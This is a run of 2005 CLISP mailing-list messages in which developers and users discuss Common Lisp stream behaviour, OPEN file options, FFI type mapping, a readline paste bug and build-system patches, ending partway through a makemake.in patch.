----------------t4.lisp----------------
#!/usr/local/bin/clisp
(write-byte 128 *standard-output*)

*** - WRITE-BYTE on #<IO TERMINAL-STREAM> is illegal
----------------t5.lisp----------------
#!/usr/local/bin/clisp
(setf (stream-element-type *standard-output*) '(unsigned-byte 8))
(write-byte 128 *standard-output*)

*** - (SETF STREAM-ELEMENT-TYPE) on #<IO TERMINAL-STREAM> is illegal
$ 

Odd, a pipe to OD looks way different from a TTY stream to me.


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> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-07-13 21:18:54 -0700]:
>
> Thanks. Right now I have hosted the project on sourceforge 
> http://sourceforge.net/projects/wxcl/

why did you split from http://sourceforge.net/projects/wxlisp/ ?

(note that the homepage 404s)

> One can subscribe to mailing lists from here:
> http://sourceforge.net/mail/?group_id=143661

please make sure the lists are available on gmane.org.

Thanks and good luck!

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Date: Thu Jul 14 06:46:42 2005
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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-07-14 15:40:46 +0300]:
>
> I can use in function:
>
>   (defun my-fun (&rest args) ...
>
> destructive functions with args?
>
> Example:
>
> (defun dilute-blanks (&rest args)
>   (labels ((dilute (l)
> 	     (when (cdr l)
> 	       (dilute (cdr l))
> 	       (let ((s (list " ")))
> 		 (rplacd s (cdr l))
> 		 (rplacd l s)))))
>     (dilute args)))
>
> CL-USER> (dilute-blanks 1 2 3 4 5 6)
> (1 " " 2 " " 3 " " 4 " " 5 " " 6)
>
> There are no "reefs"?

<http://www.lisp.org/HyperSpec/Body/sec_3-4-1-3.html>:
        The value of a rest parameter is permitted, but not required, to
        share structure with the last argument to apply.

this means that

(apply #'dilute-blanks '(1 2 3))

_may_ modify the quoted constant in some implementations.
if you are lucky, this will result in an error.
if you are not, you will something weird, like
<http://clisp.cons.org/faq.html#self-mod>.

in short: do NOT modify the structure of the &rest argument.

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> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-07-14 09:07:26 -0400]:
>
> Can CLISP do what BASH does?
>
> $ for x in t?.????; do echo ----------------$x----------------; cat $x; ./$x | od -c; done
> ----------------t1.bash----------------
> #!/usr/local/bin/bash
> echo -en "\200"
> 0000000  200                                                            
> 0000001

<http://www.podval.org/~sds/clisp/impnotes/stream-dict.html#bin-stdio>

> *** - Character #\u0080 cannot be represented in the character set CHARSET:ASCII

<http://clisp.cons.org/faq.html#enc-err>


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*STANDARD-OUTPUT* should go to the pipe.
*TERMINAL-IO* should go to the user.
To conflate the two may fall
in unspecified gray areas
but tastes like a bug.

		Peace
			--Devon

PS: Thanks for the fix but this machine lacks EXT:MAKE-STREAM
so I must install my own personal CLISP version using the
diabolical Debian package abomination.  Wish me luck
and send incantations if you know 'em, please!

From: Sam Steingold <sds@gnu.org>
Date: Thu, 14 Jul 2005 10:13:17 -0400

> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-07-14 09:07:26 -0400]:
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> Can CLISP do what BASH does?
>
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> ----------------t1.bash----------------
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> echo -en "\200"
> 0000000  200                                                            
> 0000001

<http://www.podval.org/~sds/clisp/impnotes/stream-dict.html#bin-stdio>

> *** - Character #\u0080 cannot be represented in the character set CHARSET:ASCII

<http://clisp.cons.org/faq.html#enc-err>


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> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-07-14 11:27:14 -0400]:
>
> *STANDARD-OUTPUT* should go to the pipe.
> *TERMINAL-IO* should go to the user.
> To conflate the two may fall
> in unspecified gray areas
> but tastes like a bug.

indeed, please see clisp/src/TODO and help.

> PS: Thanks for the fix but this machine lacks EXT:MAKE-STREAM

what is your clisp version?

> so I must install my own personal CLISP version

$ wget http://prdownloads.sourceforge.net/clisp/clisp-2.33.2.tar.bz2?download
$ tar xfj clisp-2.33.2.tar.bz2
$ cd clisp-2.33.2

alternatively
$ cvs -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp login
$ cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co -P clisp
$ cd clisp

then:
$ ./configure --build build --fsstnd=debian --with-module=... --with-module=... ...
$ cd build
$ sudo make install


> using the diabolical Debian package abomination.

I think you are confusing Debian GNU/Linux with *BSD.

> Wish me luck and

good luck!

> send incantations if you know 'em, please!

"apt-get install clisp-2.33.2"

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Glad to look around and see what I can fix,
only fair after all your help.  Thanks again.

		Peace
			--Devon

PS: apt-get seems unhelpful on shared machines I cannot control
$ cat /etc/debian_version
3.0
$ apt-get install clisp-2.33.2
E: Could not open lock file /var/lib/dpkg/lock - open (13 Permission denied)
E: Unable to lock the administration directory (/var/lib/dpkg/), are you root?

Both CLISP 2.27 and 2.30 report no symbol EXT:MAKE-STREAM
so the saga marches on to plan B ... C ... D ...

From: Sam Steingold <sds@gnu.org>
Date: Thu, 14 Jul 2005 11:44:09 -0400

> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-07-14 11:27:14 -0400]:
>
> *STANDARD-OUTPUT* should go to the pipe.
> *TERMINAL-IO* should go to the user.
> To conflate the two may fall
> in unspecified gray areas
> but tastes like a bug.

indeed, please see clisp/src/TODO and help.

> PS: Thanks for the fix but this machine lacks EXT:MAKE-STREAM

what is your clisp version?

> so I must install my own personal CLISP version

$ wget http://prdownloads.sourceforge.net/clisp/clisp-2.33.2.tar.bz2?download
$ tar xfj clisp-2.33.2.tar.bz2
$ cd clisp-2.33.2

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$ cd clisp

then:
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$ cd build
$ sudo make install


> using the diabolical Debian package abomination.

I think you are confusing Debian GNU/Linux with *BSD.

> Wish me luck and

good luck!

> send incantations if you know 'em, please!

"apt-get install clisp-2.33.2"

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> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-07-15 04:02:04 -0400]:
>
> Module doc seems sketchy

what information is missing?

> so I randomly guessed what modules might exist

I just added top level
./configure --list-modules

> $ ./configure --build build-clisp-macos-10.4-darwin-8.2.0-try-2
> --with-module=ext --with-module=sock

no such modules

> --with-module=fastcgi --with-module=pcre --with-module=rawsock
> --with-module=wildcard

ok

> --with-module=regexp --with-module=syscalls

these are base modules, they are included by default even in the base
linking set.
<http://www.podval.org/~sds/clisp/impnotes/modules.html#base-modules>

> $ cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp diff -u .
> ...
> Index: src/makemake.in
> ===================================================================
> RCS file: /cvsroot/clisp/clisp/src/makemake.in,v
> retrieving revision 1.578
> diff -u -r1.578 makemake.in
> --- src/makemake.in	13 Jul 2005 19:40:11 -0000	1.578
> +++ src/makemake.in	15 Jul 2005 07:54:03 -0000
> @@ -2508,7 +2508,7 @@
>  
>  for f in lispbibl; do
>    echol "gen.${f}.c : ${f}.d comment5${HEXE}"
> -  echotabpipe "\$(COMMENT5) ${f}.d${CHSCONVERT_FILTER} | sed -e '/^#line/n;ta;:a;s/^%% //;tb;s/^.*\$\$//;:b' > gen.${f}.c"
> +  echotabpipe "\$(COMMENT5) ${f}.d${CHSCONVERT_FILTER} | sed -e '/^#line/n;s/^%% //;t' -e 's/^.*\$\$//' > gen.${f}.c"
>    echol
>  done

I committed this patch.
Thanks.
users of non-GNU systems -- please test!

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> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-07-15 06:21:42 -0400]:
>
> PS: Does .d stand for "deranged" or "delete the source file"
> or "deter anyone else from looking at my code" or what?

#\d = (code-char (incf (char-code #\c)))

> Is such gratuitously obscured code really necessary?

yes. see the pre-processing done on the D code:

1. "# " comments converted to the normal C comments /**/
   this is not really necessary and actually very inconvenient to
   everyone except for Bruno, but this is the way it has been for 15
   years.
   many files are now fully converted to the normal C comments.

2. {} are inserted to allow variable declarations mixed with code
   (C++/Java style).

3. gctrigger statements are inserted to allow for run-time GC-safety
   checks.
   see <http://www.podval.org/~sds/clisp/impnotes/gc-safety.html>

> Got an emacs mode with color font-lock for that?

clisp/emacs/d-mode.el

> RUN-ALL-TESTS: grand total: 0 errors out of 9,906 tests
good.

> mkdir ansi-tests
> cd ansi-tests && ln -s ../../ansi-tests/Makefile .
> cd ansi-tests && ln -s ../../ansi-tests/*.lsp .
> cd ansi-tests && ln -s ../../utils/clispload.lsp .
> cd ansi-tests && ../lisp.run -B .. -M ../lispinit.mem -N ../locale  -Efile UTF-8 -Eterminal UTF-8 -norc -m 30000KW -ansi -i clispload.lsp -x '(in-package "CL-TEST") (time (regression-test:do-tests)) (ext:exit (regression-test:pending-tests))' 2>&1 | tee ../ansi-tests-log
> ;; Loading file clispload.lsp ...
> *** - LOAD: A file with name gclload1.lsp does not exist

at top-level:

make -f Makefile.devel update-ansi-tests

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Can CLISP test input streams for EOF, for any and all such streams?
OK to hang waiting for more input but not OK to consume input.

I suppose I could try PEEK-CHAR for character streams,
catch the error if the peek sees an illegal char,
catch the error if the stream is binary and
use instead EXT:READ-BYTE-LOOKAHEAD
in a polling loop with a brief
SLEEP as it never hangs.

Best to ask before resorting to such hackery,
perhaps it's right there in the manual
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The parameter :supersede and :rename-and-delete don't seem to have the
specified effect (no new file is created):

[83]> (defun get-filename-identifier (Filename)
  "Given a filename, return (cons dev inode) associated with that filename."
  (when (probe-file filename)
    (cons (POSIX:file-stat-dev (POSIX:file-stat filename))
          (POSIX:file-stat-ino (POSIX:file-stat filename)))))
GET-FILENAME-IDENTIFIER
[84]> (let ((testfile "testfile"))
  (flet ((test (if-exist)
           (sleep 1)
           (with-open-file (output-stream testfile :direction :output
                                          :if-exists if-exist
                                          :if-does-not-exist :create)
             (format output-stream "random line ~A~%" (random 1000)))
           (ext:shell "ls -li testfile")
           (prog1 (prin1 (get-filename-identifier testfile)) (terpri))))
    (test :overwrite)
    (test :rename-and-delete)
    (test :supersede))
  (values))
1148057 -rw-r--r--    1 pjb      pjb            20 2005-07-16 20:48 testfile
(774 . 1148057)
1148057 -rw-r--r--    1 pjb      pjb            15 2005-07-16 20:48 testfile
(774 . 1148057)
1148057 -rw-r--r--    1 pjb      pjb            16 2005-07-16 20:48 testfile
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Devon Sean McCullough writes:
> Can CLISP test input streams for EOF, for any and all such streams?
> OK to hang waiting for more input but not OK to consume input.
> 
> I suppose I could try PEEK-CHAR for character streams,
> catch the error if the peek sees an illegal char,
> catch the error if the stream is binary and
> use instead EXT:READ-BYTE-LOOKAHEAD
> in a polling loop with a brief
> SLEEP as it never hangs.
> 
> Best to ask before resorting to such hackery,
> perhaps it's right there in the manual
> but not according to Google.

With Common Lisp you can LISTEN to see if there's data available on an
input stream.

(AND (NOT (INTERACTIVE-STREAM-P stream)) (NOT (LISTEN stream))) 
==> EOF is reached on stream.

The normal way is to try to read anyways, and check for EOF at that
time, because files can be extended at the same time they're read, so
you never know where the EOF is until you actually reach it.  And I
don't even tell you about pipes and network sockets...

That's why the reading functions in Common Lisp take TWO parameters to
handler the EOF occurences.

(loop with eof-token = (gensym)
      for s-expr = (read input NIL EOF-TOKEN)
      until (eql s-expr eof-token)
      do (print :not-yet-eof)
      finally (print :eof-reached))


Note that after you've open a file, and before you read the next item,
another process can very well truncate the file (which means that
you're already after EOF) and still before you read the next item,
that other process can very well append more data so you're not after
the EOF after all.  But you cannot know if you don't try to read the
next item.


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Sam Steingold <sds@gnu.org> writes:

>> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-07-13 21:18:54 -0700]:
>>
>> Thanks. Right now I have hosted the project on sourceforge 
>> http://sourceforge.net/projects/wxcl/
>
> why did you split from http://sourceforge.net/projects/wxlisp/ ?

No, we didn't split, just moved. The project was named wxCL, but the
sourceforge unix name was wxlist, so we thought creating a new project and
moving there will avoid confusion. Also, this will ensure that the mailing
lists are properly named.

> (note that the homepage 404s)

Fixed. Thanks.
>
>
> please make sure the lists are available on gmane.org.

I have requested that, should be up in couple of days.
>
> Thanks and good luck!
>
Thanks.

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Hello,
  For the automatic argument conversion from C header files to clisp ffi type I
am using the following rules (algorithm), please comment on them.

1. for simple C types, use the simple lisp type
2. If it is a pointer than use ffi:c-pointer.
    Exception: for char* use c-string.
3. If it is an array, but dimensions are not given then use c-pointer, else if
dimensions are given then use c-array with the dimensions.

On styling, there is a (defpackage .. (:use :common-lisp :ffi).. declaration,
but still should I prepend everything with the ffi package name? That is
should I use ffi:c-string or just c-string?

The sample output can be found on this link:
 
Any suggestions, or feature request are welcome. 

http://www.public.asu.edu/~sksinghi/swig-clisp.html

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Surendra Singhi wrote:
>2. If it is a pointer than use ffi:c-pointer.
>    Exception: for char* use c-string.
>3. If it is an array, but dimensions are not given then use=20
>c-pointer, else if
>dimensions are given then use c-array with the dimensions.

How do you deal with seed48()?
stdlib.h says:
extern unsigned short int *seed48 (unsigned short int __seed16v[3]) =
__THROW;

I mean, be careful about the difference between known array dimensions =
within struct definitions and function parameters!

More precisely, within struct you need the (c-array x dim), within a =
function you need an extra c-ptr around it.

modules/bindings/glibc/linux.lisp contains:
(def-call-out seed48 (:arguments (seed16v (c-ptr (c-array ushort 3))))
  (:return-type (c-ptr (c-array ushort 3)) :none))

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Hi,

Here's a very nice quote taken out of context from Kent M. Pitman about =
my feelings about FFI/UFFI&SWIG.

>> [...] `Idioms' mean that there is some functionality that the
>> language is incapable of expressing directly and concisely.
>
>They also define the line between what I call "expressive languages"
>and "implementation languages", which I might loosely call,
>respectively, "high-level languages" and "low-level languages",
>although others have different definitions for the latter pair of
>terms.  The expressive/high-level languages are about saying
>something, and are places where how you write something matters
>aesthetically, presentationally, maintenance-wise, etc. while the
>implementation/low-level languages tend to be more write-only and/or
>places where the presentation per se is secondary to getting a correct
>answer.

Newsgroups: comp.lang.lisp
Date: Wed, 29 Jun 2005 19:29:57 GMT
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Date: Mon Jul 18 12:53:43 2005
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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-07-16 20:52:51 +0200]:
>
> The parameter :supersede and :rename-and-delete don't seem to have the
> specified effect (no new file is created):
>
> [83]> (defun get-filename-identifier (Filename)
>   "Given a filename, return (cons dev inode) associated with that filename."
>   (when (probe-file filename)
>     (cons (POSIX:file-stat-dev (POSIX:file-stat filename))
>           (POSIX:file-stat-ino (POSIX:file-stat filename)))))
> GET-FILENAME-IDENTIFIER
> [84]> (let ((testfile "testfile"))
>   (flet ((test (if-exist)
>            (sleep 1)
>            (with-open-file (output-stream testfile :direction :output
>                                           :if-exists if-exist
>                                           :if-does-not-exist :create)
>              (format output-stream "random line ~A~%" (random 1000)))
>            (ext:shell "ls -li testfile")
>            (prog1 (prin1 (get-filename-identifier testfile)) (terpri))))
>     (test :overwrite)
>     (test :rename-and-delete)
>     (test :supersede))
>   (values))
> 1148057 -rw-r--r--    1 pjb      pjb            20 2005-07-16 20:48 testfile
> (774 . 1148057)
> 1148057 -rw-r--r--    1 pjb      pjb            15 2005-07-16 20:48 testfile
> (774 . 1148057)
> 1148057 -rw-r--r--    1 pjb      pjb            16 2005-07-16 20:48 testfile
> (774 . 1148057)

IMO, inode number is irrelevant here.
:rename-and-delete and :supersede are intended to make the old file
content available until the new file is closed.

e.g.

(delete-file "foo")
(with-open-file (o "foo" :direction :output :if-exist :error)
  (write-line "original" o))
(let ((lines ()))
  (with-open-file (i "foo" :direction :input)
    (push (read-line i) lines) (file-position i :start)
    (with-open-file (o "foo" :direction :output :if-exist :supersede)
      (push (read-line i) lines) (file-position i :start)
      (write-line "new" o))
    (push (read-line i) lines))
  (with-open-file (i "foo" :direction :input)
    (push (read-line i) lines))
  lines)
==> ("original" "original" "original" "new")

I am not sure about the exact difference between :rename-and-delete and
:supersede and how it affects the third member of LINES, but OPEN
<http://www.lisp.org/HyperSpec/Body/fun_open.html> says "do something
reasonable in the context of the host operating system".
the only thing that comes to mind which is not yet done by CLISP is
postponing file deletion until CLOSE.

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Date: Mon Jul 18 22:20:39 2005
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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> Surendra Singhi wrote:
>
> How do you deal with seed48()?
> stdlib.h says:
> extern unsigned short int *seed48 (unsigned short int __seed16v[3]) __THROW;
>
> I mean, be careful about the difference between known array dimensions within struct definitions and function parameters!
>
> More precisely, within struct you need the (c-array x dim), within a function you need an extra c-ptr around it.

Thanks Jörg, I fixed that.

>
> modules/bindings/glibc/linux.lisp contains:
> (def-call-out seed48 (:arguments (seed16v (c-ptr (c-array ushort 3))))
>   (:return-type (c-ptr (c-array ushort 3)) :none))

If I understand correctly the difference between c-ptr and c-pointer is that,
c-ptr converts the foreign pointer to a Lisp structure, so if I want to pass
the foreign pointer again, I should use c-pointer, but if I don't have to pass
the foreign pointer and I want to use it as a lisp structure I should use
c-ptr. Is that correct?  

Is there any rule which can help in automatically deciding when one should
c-ptr or c-pointer ? 

Thanks. 
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I too wish those OPEN options :IF-EXISTS :SUPERSEDE and :NEW-VERSION
would act lispy yet both CLISP and CMUCL seem to O_TRUNC instead,
violating the spirit but not the letter of the spec
which allows infinite latitude.

Would you prefer a new OPEN option or a new global hook or feature?

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> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-07-19 11:25:30 -0400]:
>
> I too wish those OPEN options :IF-EXISTS :SUPERSEDE and :NEW-VERSION
> would act lispy yet both CLISP and CMUCL seem to O_TRUNC instead,
> violating the spirit but not the letter of the spec which allows
> infinite latitude.

> Would you prefer a new OPEN option or a new global hook or feature?

we need a patch to OPEN.
note that it will require adding a hook to CLOSE (which will probably
use the :ABORT option).

would you like to work on this?

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I am already hacking new stream and file functionality.
This may take a while as I have limited free time.

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Hi folks,

I encountered what looks to be a rather curious bug.
When I try to paste the following text into clisp:

--------------------snip--------------------
(defparameter *a* 1)
(defparameter *b* 2)
(defparameter *c* 3)
(defparameter *d* 4)
(defparameter *e* 5)
(defparameter *f* 6)
--------------------snap--------------------


the second form apparently gets "swallowed":

--------------------snip--------------------
[1]> (defparameter *a* 1)
(defparameter *b* 2)
(defparameter *c* 3)
(defparameter *d* 4)
(defparameter *e* 5)
(defparameter *f* 6)
(defparameter *b* 2)
*A*(defparameter *c* 3)
(defparameter *d* 4)
(defparameter *e* 5)
(defparameter *f* 6)

[2]> (defparameter *c* 3)
*C*(defparameter *d* 4)
(defparameter *e* 5)
(defparameter *f* 6)

[3]> (defparameter *d* 4)
*D*(defparameter *e* 5)
(defparameter *f* 6)

[4]> (defparameter *e* 5)
*E*(defparameter *f* 6)

[5]> (defparameter *f* 6)
*F*
[6]> *a*
1
[7]> *c*
3
[8]> *b*

*** - EVAL: variable *B* has no value
The following restarts are available:
STORE-VALUE    :R1      You may input a new value for *B*.
USE-VALUE      :R2      You may input a value to be used instead of *B*.

Break 1 [9]> 
--------------------snap--------------------


This can be observed by pasting between xterms.
The same happens when inside (X)Emacs, I use C-c C-r for sending a
region to an inferior-lisp buffer running clisp.
If a file containing the text is (load)ed into clisp, all is fine.
If I put an empty line between the forms (or at least between the
first and the second), it works aswell.
It doesn't matter if I run clisp as "clisp" or "clisp -I".

I'm using clisp on FreeBSD 5.4-STABLE/i386.
The problem manifests itself both with clisp installed via the ports
mechanism, aswell as with a "vanilla" manual build.

Version info:

GNU CLISP 2.33.2 (2004-06-02) (built 3330883802) (memory 3330883904)
Software: GNU C 3.4.2 [FreeBSD] 20040728 ANSI C program
Features: 
(CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS
 GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE
 BASE-CHAR=CHARACTER UNIX)
Installation directory: /usr/local/lib/clisp/
User language: ENGLISH
Machine: I386 (I386) drjekyll.mkbuelow.net [192.168.0.1]


Thanks.

mkb.


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Pipe input seems solid but PTY input drops lines in CLISP.
Both work fine in CMUCL.
Ah, streams.
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Hi all,

I see that 2.34 has been released. However, I can find only rpm and
source distributions.
When will win32 binary be available for download.

I tried building it with mingw, but with no success.

Thanks,
Marko


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It seems that split-sequence.lisp was removed from the
clx/mit-clx module but references to it remain in the Makefile
and link.sh.  Should they be removed?

I tried building clisp 2.34 from source on Mac OS X 10.4, with:

./configure --prefix=3D/usr/local --with-module=3Dclx/mit-clx
--with-libreadline-prefix=3D/sw --build build-dir

and got the following error:

make[1]: *** No rule to make target `split-sequence.lisp', needed by
`stamp.fas'.  Stop.
make: *** [clx/mit-clx] Error 2


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> * David A. Mellis <qzryyvf@tznvy.pbz> [2005-07-21 13:08:09 +0200]:
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> It seems that split-sequence.lisp was removed from the
> clx/mit-clx module but references to it remain in the Makefile
> and link.sh.  Should they be removed?

yes, thanks for your bug report.


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Devon Sean McCullough <Lisp-Hacker@Jovi.Net> writes:

>Pipe input seems solid but PTY input drops lines in CLISP.

Hmm true, piping the lines into clisp works.

>Both work fine in CMUCL.

Cmucl (and sbcl) currently does nothing but segfault here (can't cope
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can it be a readline bug?
please try to build clisp without readline:
$ ./configure --build build-nore --without-readline

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Sam Steingold <sds@gnu.org> writes:

>can it be a readline bug?
>please try to build clisp without readline:
>$ ./configure --build build-nore --without-readline

Hmm.. no:

[1]> (defparameter *a* 1)
(defparameter *b* 2)
(defparameter *c* 3)
(defparameter *d* 4)
(defparameter *e* 5)
(defparameter *f* 6)
*A*
[2]> *C*
[3]> *D*
[4]> *E*
[5]> *F*
[6]> *b*

*** - EVAL: variable *B* has no value
The following restarts are available:
STORE-VALUE    :R1      You may input a new value for *B*.
USE-VALUE      :R2      You may input a value to be used instead of *B*.


I've built the freshly released 2.34 and the problem does _not_ show
up there, although things are echoed multiple times in a weird way
(this time, with readline):

[1]> (defparameter *a* 1)
*A*(defparameter *b* 2)
(defparameter *c* 3)
(defparameter *d* 4)
(defparameter *e* 5)
(defparameter *f* 6)

[2]> (defparameter *b* 2)
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(defparameter *d* 4)
(defparameter *e* 5)
(defparameter *f* 6)

[3]> (defparameter *c* 3)
*C*(defparameter *d* 4)
(defparameter *e* 5)
(defparameter *f* 6)

[4]> (defparameter *d* 4)
*D*(defparameter *e* 5)
(defparameter *f* 6)

[5]> (defparameter *e* 5)
*E*(defparameter *f* 6)

[6]> (defparameter *f* 6)
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BTW., how do I tell the build process to not use -O2 (or other settings)
for compiler flags? I want to build it all with -O0 to rule out a gcc
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-O0 for some files but reverts to -O2 for others.

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> * Matthias Buelow <zxo@vaphohf.qr> [2005-07-21 19:08:47 +0200]:
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> BTW., how do I tell the build process to not use -O2 (or other
> settings) for compiler flags? I want to build it all with -O0 to rule
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> does use -O0 for some files but reverts to -O2 for others.

<http://clisp.cons.org/faq.html#debug>

you can also just edit the Makefile.

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Hmm, ok, it's also present with -O0, so it doesn't seem to be a
compiler-bug.

Since the bug doesn't seem to occur with the new version (2.34), I'll
use that version and watch out if similar things creep up.

What remains (on 2.34) is the weird multiple-echoing of the pasted
input:

[1]> (defparameter *a* 1)
*A*(defparameter *b* 2)
(defparameter *c* 3)
(defparameter *d* 4)
(defparameter *e* 5)
(defparameter *f* 6)

[2]> (defparameter *b* 2)
*B*(defparameter *c* 3)
(defparameter *d* 4)
(defparameter *e* 5)
(defparameter *f* 6)

[3]> (defparameter *c* 3)
*C*(defparameter *d* 4)
(defparameter *e* 5)
(defparameter *f* 6)

[4]> (defparameter *d* 4)
*D*(defparameter *e* 5)
(defparameter *f* 6)

[5]> (defparameter *e* 5)
*E*(defparameter *f* 6)

[6]> (defparameter *f* 6)
*F*

which is irritating but doesn't seem to have any effects otherwise.

This seems to be something in relation to readline. When I build without
readline, it looks normal:

[1]> (defparameter *a* 1)
(defparameter *b* 2)
(defparameter *c* 3)
(defparameter *d* 4)
(defparameter *e* 5)
(defparameter *f* 6)
*A*
[2]> *B*
[3]> *C*
[4]> *D*
[5]> *E*
[6]> *F*

BTW., building 2.34 with ./configure --build aborts at the test stage:

*** - LOAD: A file with name tests.lisp does not exist
Bye.
*** Error code 1

and the --without-readline option isn't documented in ./configure --help.

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> * Matthias Buelow <zxo@vaphohf.qr> [2005-07-21 23:08:31 +0200]:
>
>
> This seems to be something in relation to readline. When I build without
> readline, it looks normal:

how about "clisp -I"?

> BTW., building 2.34 with ./configure --build aborts at the test stage:
>
> *** - LOAD: A file with name tests.lisp does not exist
> Bye.
> *** Error code 1

not enough context to debug.

> and the --without-readline option isn't documented in ./configure --help.

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Sam Steingold <sds@gnu.org> writes:

>> * Matthias Buelow <zxo@vaphohf.qr> [2005-07-21 23:08:31 +0200]:
>>
>>
>> This seems to be something in relation to readline. When I build without
>> readline, it looks normal:
>
>how about "clisp -I"?

Looks the same, with or without clisp -I.

>> *** - LOAD: A file with name tests.lisp does not exist
>> Bye.
>> *** Error code 1
>
>not enough context to debug.

...
mkdir sacla-tests
cd sacla-tests && ln -s ../../sacla-tests/*.lisp .
cd sacla-tests && ../lisp.run -B .. -M ../lispinit.mem -N ../locale  -Efile UTF-8 -Eterminal UTF-8 -norc -i tests.lisp -x '(ext:exit (> (nth-value 1 (run-all-tests)) 0))'
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
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Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2005

*** - LOAD: A file with name tests.lisp does not exist
Bye.
*** Error code 1

Stop in /home/mkb/tmp/clisp-2.34/build-withrl.
Exit 1

% ls -l build-withrl/sacla-tests/
total 0
lrwxr-xr-x  1 mkb  mkb  24 Jul 22 03:20 *.lisp@ -> ../../sacla-tests/*.lisp
%

probably not quite what should be there.

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> * Matthias Buelow <zxo@vaphohf.qr> [2005-07-22 03:27:48 +0200]:
>
>>> *** - LOAD: A file with name tests.lisp does not exist
>>> Bye.
>>> *** Error code 1
>>
>>not enough context to debug.
>
> ...
> mkdir sacla-tests
> cd sacla-tests && ln -s ../../sacla-tests/*.lisp .
> cd sacla-tests && ../lisp.run -B .. -M ../lispinit.mem -N ../locale  -Efile UTF-8 -Eterminal UTF-8 -norc -i tests.lisp -x '(ext:exit (> (nth-value 1 (run-all-tests)) 0))'
>
> *** - LOAD: A file with name tests.lisp does not exist
> Bye.
> *** Error code 1
>
> Stop in /home/mkb/tmp/clisp-2.34/build-withrl.
> Exit 1
>
> % ls -l build-withrl/sacla-tests/
> total 0
> lrwxr-xr-x  1 mkb  mkb  24 Jul 22 03:20 *.lisp@ -> ../../sacla-tests/*.lisp
> %
>
> probably not quite what should be there.

indeed.
the problem is in src/makemake.in:

  # on win32, LN_S=copy and it accepts exactly 2 arguments
  for f in '*.lisp'; do
    echotab "cd ${SACLATESTSDIR} && \$(LN_S) ${PARENT_SRCTOPDIR_}sacla-tests${NEXT_}${f} ."
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can you figure out what will work with your shell?


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In the generated Makefile (from makemake):

sacla-tests :
        -mkdir sacla-tests
        cd sacla-tests && $(LN_S) ../../sacla-tests/*.lisp .

where are the sacla-tests? Are the files generated during build?
I don't have a directory sacla-tests:

% find ~/tmp/clisp-2.34 -name \*sacla\* -print
% 

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> * Matthias Buelow <zxo@vaphohf.qr> [2005-07-22 22:23:27 +0200]:
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> In the generated Makefile (from makemake):
>
> sacla-tests :
>         -mkdir sacla-tests
>         cd sacla-tests && $(LN_S) ../../sacla-tests/*.lisp .
>
> where are the sacla-tests? Are the files generated during build?
> I don't have a directory sacla-tests:
>
> % find ~/tmp/clisp-2.34 -name \*sacla\* -print
> % 

ouch - sacla-tests are not included in the source distribution
(only in the CVS tree).
how about the appended patch?


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--- makemake.in	22 Jul 2005 11:50:28 -0400	1.584
+++ makemake.in	22 Jul 2005 16:33:07 -0400	
@@ -3146,6 +3146,8 @@
   done
   echol
 
+  # sacla-tests are not included in the source distribution
+  if test -d "${PARENT_SRCTOPDIR_}sacla-tests"; then
   SACLA_CLISP="../lisp${LEXE} -B .. -M ../lispinit.mem -N ../locale ${someflags} -i tests.lisp"
   echol "check-sacla-tests : ${SACLATESTSDIR} lisp${LEXE} lispinit.mem"
   echotab "cd ${SACLATESTSDIR} && ${SACLA_CLISP} -x '(ext:exit (> (nth-value 1 (run-all-tests)) 0))'"
@@ -3157,7 +3159,10 @@
     echotab "cd ${SACLATESTSDIR} && \$(LN_S) ${PARENT_SRCTOPDIR_}sacla-tests${NEXT_}${f} ."
   done
   echol
+  fi
 
+  # ansi-tests are not included in the source distribution
+  if test -d "${PARENT_SRCTOPDIR_}ansi-tests"; then
   ANSI_CLISP="../lisp${LEXE} -B .. -M ../lispinit.mem -N ../locale ${someflags} -m 30000KW -ansi -i clispload.lsp"
   echol "check-ansi-tests : ${ANSITESTSDIR} lisp${LEXE} lispinit.mem"
   echotab "cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\") (time (regression-test:do-tests)) (ext:exit (regression-test:pending-tests))' 2>&1 | tee ../ansi-tests-log"
@@ -3187,6 +3192,7 @@
   done
   echotab "cd ${ANSITESTSDIR} && \$(LN_S) ${PARENT_SRCTOPDIR_}utils${NEXT_}clispload.lsp ."
   echol
+  fi
 
   # benchmarks are for developers only, and the developers work from the CVS
   if test -d ${SRCTOPDIR}CVS; then


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> * Matthias Buelow <zxo@vaphohf.qr> [2005-07-22 22:23:27 +0200]:
>

the previous patch was wrong.
here is the correct one:

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--- makemake.in	22 Jul 2005 11:50:28 -0400	1.584
+++ makemake.in	22 Jul 2005 16:42:03 -0400	
@@ -3014,11 +3014,7 @@
 CLISP_="${HERE_}lisp${LEXE} -M ${HERE_}lispinit.mem ${localeflags}${someflags}"
 
 if [ $CROSS = false ] ; then
-
-  echol "# Perform self-tests."
